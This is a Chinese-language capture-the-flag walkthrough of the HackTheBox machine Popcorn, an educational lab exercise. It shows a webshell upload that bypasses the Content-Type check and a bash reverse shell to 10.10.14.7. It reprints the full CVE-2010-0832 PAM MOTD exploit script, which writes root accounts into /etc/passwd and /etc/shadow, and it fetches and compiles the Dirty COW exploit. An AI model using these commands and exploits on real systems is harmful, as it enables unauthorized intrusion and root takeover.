Popcorn是一个中等难度的靶机,知识点涉及文件上传绕过、MODT提权、脏牛提权等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先通过nmap对目标进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.6 -oA nmap_Popcorn
扫描结果显示目标开放了22、80端口
80端口
访问后是 Apache 默认运行界面
使用 gobuster 扫描发现目录/test
、/torrent
、/rename
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
test
访问目录/test
是phpinfo
界面。其中值得注意的是配置是file_uploads=open
,如果存在文件包含可执行代码
rename
访问目录/rename
是一个用于重命名的 API 接口
尝试构造 payload 将index.html
重命名为mac.html
http://10.10.10.6/rename/index.php?filename=index.html&newfilename=mac.html
但并没有成功重命名,与此同时它还暴露了绝对路径。那么我们可以有这样一个思路:找到一个文件上传点上传带有 php 代码的图片,通过这个 API 修改后缀名为 php,从而达到上传木马的效果
torrent
目录/torrent
提供 Torrent Hoster 的实例,但点击Upload
会重定向到登录界面,由此推断使用该功能需要经过身份认证
访问Browse
存在一个名为 Kali Linux 的torrent
尝试在其中注册用户mac/mac
并输入邮箱mac@mac.com
使用刚注册的账户mac/mac
登录成功
在Upload
功能点中能够上传Torrent
种子文件
尝试在此处上传 webshell,但上传失败。
那么尝试上传一个有效的Torrent
种子文件呢?
Kali种子地址:https://kali.download/base-images/kali-2022.1/kali-linux-2022.1-installer-amd64.iso.torrent
提交上传后等一分钟可重定向至Torrent
界面
点击Edit this torrent
后会跳出新表单如下:
在其中上传与该种子相关的图片,结果显示上传完成
图片地址为/thumbnail.php?gd=2&src=./upload/708759a17400cb3d4368e4769048f3d61e5466e3.png&maxw=96
,此 URL 结构可能存在文件包含漏洞
与此同时src
还指向了一个路径http://10.10.10.6/torrent/upload/
,访问后发现上传的所有图片路径
0x02 上线[www-data]
文件上传绕过
综上可以发现两个文件上传点,分别为 torrent 以及 torrent 对应图片。显然我们对图片上传点更感兴趣,但直接上传 webshell 目标会进行拦截,尝试使用一些常见的绕过方法进行测试
修改文件扩展名
修改 Content-Type
修改文件上传内容
上传图片后使用 BurpSuite 截取数据包并发送至 Repeater 进行测试
尝试直接修改文件扩展名为.php
、Content-Type
为application/x-php
,点击发送后无法上传
尝试修改Content-Type
值为image/png
后上传成功,猜测 web 应用程序主要判断Content-type
类型,将其修改为正常的图片类型可绕过上传限制
为了验证这一猜想,尝试只修改图片上传数据包的Content-type
的值。结果同样也无法上传,说明猜想正确
访问/torrent/upload
路径并找到上传木马文件的地址
访问木马地址并尝试执行命令,命令执行成功
curl http://10.10.10.6/torrent/upload/708759a17400cb3d4368e4769048f3d61e5466e3.php?cmd=id
反弹shell
在本地监听 443 端口用于接收反弹shell
nc nvlp 443
使用木马执行命令执行反弹shell
curl http://10.10.10.6/torrent/upload/708759a17400cb3d4368e4769048f3d61e5466e3.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
收到反弹shell后在/home
目录中成功找到第一个flag
cd /home/george
cat user.txt
0x03 权限提升[root]
MODT提权
枚举/home
目录发现文件motd.legal-displayed
,MOTD 是 message of the day 的缩写,通常在用户成功登录到 Linux 后出现,其内容就是登录后的提示信息,而此类文件的出现意味着可能存在 Ubuntu PAM MOTD 本地提权漏洞(CVE-2010-0832)
参考文章:https://www.exploit-db.com/exploits/14339
ls -la
find . -type f -ls
通过阅读该漏洞的利用代码可知:Ubuntu 在用户登录时会调用 PAM 对~/.cache
设置目录权限,只要将~/.cache
替换为需要的文件符号链接,比如passwd
。替换完成后再次登录该文件会被当前用户调用,从而完成权限提升。但由于当前环境为反弹shell,无法进行用户登录,因此我们需要将 SSH 密钥写入服务器当中用于免密登录
SSH免密登录
查看当前用户对~/.cache
目录的权限,该目录中的motd.legal-displayed
归 george 所有,权限为可读可写,因此无法删除该文件
ls -l .cache
在当前用户的主目录/var/www
下创建.ssh
目录后使用 ssh-keygen 生成 SSH 密钥对
cd ~
mkdir .ssh
ssh-keygen -q -t rsa -N '' -C 'pam'
ls .ssh
复制公钥为authorized_keys
并将权限设置为600
cp .ssh/id_rsa.pub .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
需要注意的是目录中并没有.cache
目录
ls -la
复制 www-data 用户私钥至本地后指定密钥完成 ssh 免密登录
chmod 600 key
ssh -i key www-data@10.10.10.6
在用户主目录/var/www
下出现~/.cache
目录,并在其中发现motd.legal-displayed
文件
find .cache/ -type f -ls
添加用户
删除~/.cache
目录并替换为/etc/passwd
的文件符号链接
rm -rf ~/.cache
ln -s /etc/passwd ~/.cache
ls -la ~/.cache
再次登录 ssh 发现/etc/passwd
权限已经归 www-data 所有,既然有了写入权限,那么就可以在其中尝试添加管理员用户
ssh -i key www-data@10.10.10.6
ls -la /etc/passwd
利用 openssl 生成密码的哈希值
openssl passwd -1 mac
尝试添加用户至/etc/passwd
,其中用户和密码都是 mac,用户和用户组都为0代表 root,描述为 pwned,主目录是/root
,shell 是/bin/bash
echo 'mac:$1$Of8Jy30x$uJx7pE./n1MKDpac9gBsk1:0:0:pwned:/root:/bin/bash' >> /etc/passwd
使用su
命令获取 root 权限
su - mac
id
在/root
目录下成功找到第二个flag
cat root.txt
脚本分析
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo "[*] Backuped $1"
}
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo "[*] Restored $1"
}
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo "[*] SSH key set up"
}
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo "[*] SSH key removed"
}
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
ln -s "$1" ~/.cache || return 1
echo "[*] spawn ssh"
ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
脚本分别定义了backup()
、restore()
、key_create()
、key_remove()
、own()
、bye()
等一堆函数,执行流程如下:
key_create()
创建SSH密钥对以便当前用户通过私钥无密码登录
backup()
备份~/.cache
目录
own()
会删除~/.cache
目录并创建文件符号链接,通过该函数分别指向/etc/passwd
、/etc/shadow
,然后断开连接验证当前用户是否已拥有目标文件的写入权限
restore()
用来恢复~/.cache
目录
key_remove()
则会清理刚刚添加的SSH密钥清理痕迹完成后再自动启动 root 权限的 shell
脏牛提权
脏牛提权是 Linux 中经典的内核提权方式,首先使用命令查看系统版本
uname -a
在漏洞利用参考列表中发现该版本的 ubuntu 系统能够使用脏牛提权。根据 POC 列表我们可使用 dirty.c直接提权
参考列表:https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions
POC列表:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
使用 python 开启 web 服务用于传输利用代码dirty.c
python3 -m http.server 80
在靶机中通过 wget 下载利用代码并完成编译
wget http://10.10.14.7/dirty.c
chmod 777 dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
运行后可成功提权
chmod +x dirty
./dirty
由于su
命令必须在终端执行,因此需要以 www-data 用户身份登录 ssh,输入以上账号密码可成功获取 root 权限
su - firefart
id
0x04 总结
Popcorn 译为爆米花,通过对站点进行目录扫描后发现三个目录,分别是phpinfo界面、重命名API以及提供 Torrent Hoster 实例的应用程序。在应用中注册用户后发现存在种子文件上传点和对应的图片上传点。在尝试对图片上传点上传木马后发现应用存在防御机制,修改 Content-Type 可绕过限制。利用目录遍历遍历发现上传后的木马位置,使用木马执行命令可成功收到反弹shell。
上线后当前权限为 www-data,通过信息收集发现 MOTD 文件,MODT 存在历史提权漏洞,其主要成因是用户登录时会调用 PAM 对~/.cache
设置目录权限,因此需要生成密钥对来登录目标用户ssh,将~/.cache
替换为/etc/passwd
的文件符号链接,再次登录后会调用 PAM 重设该命令所有者,最终在/etc/passwd
中添加管理员用户完成权限提升。当然还有个经典方法:脏牛提权,这个方式就不再赘述了。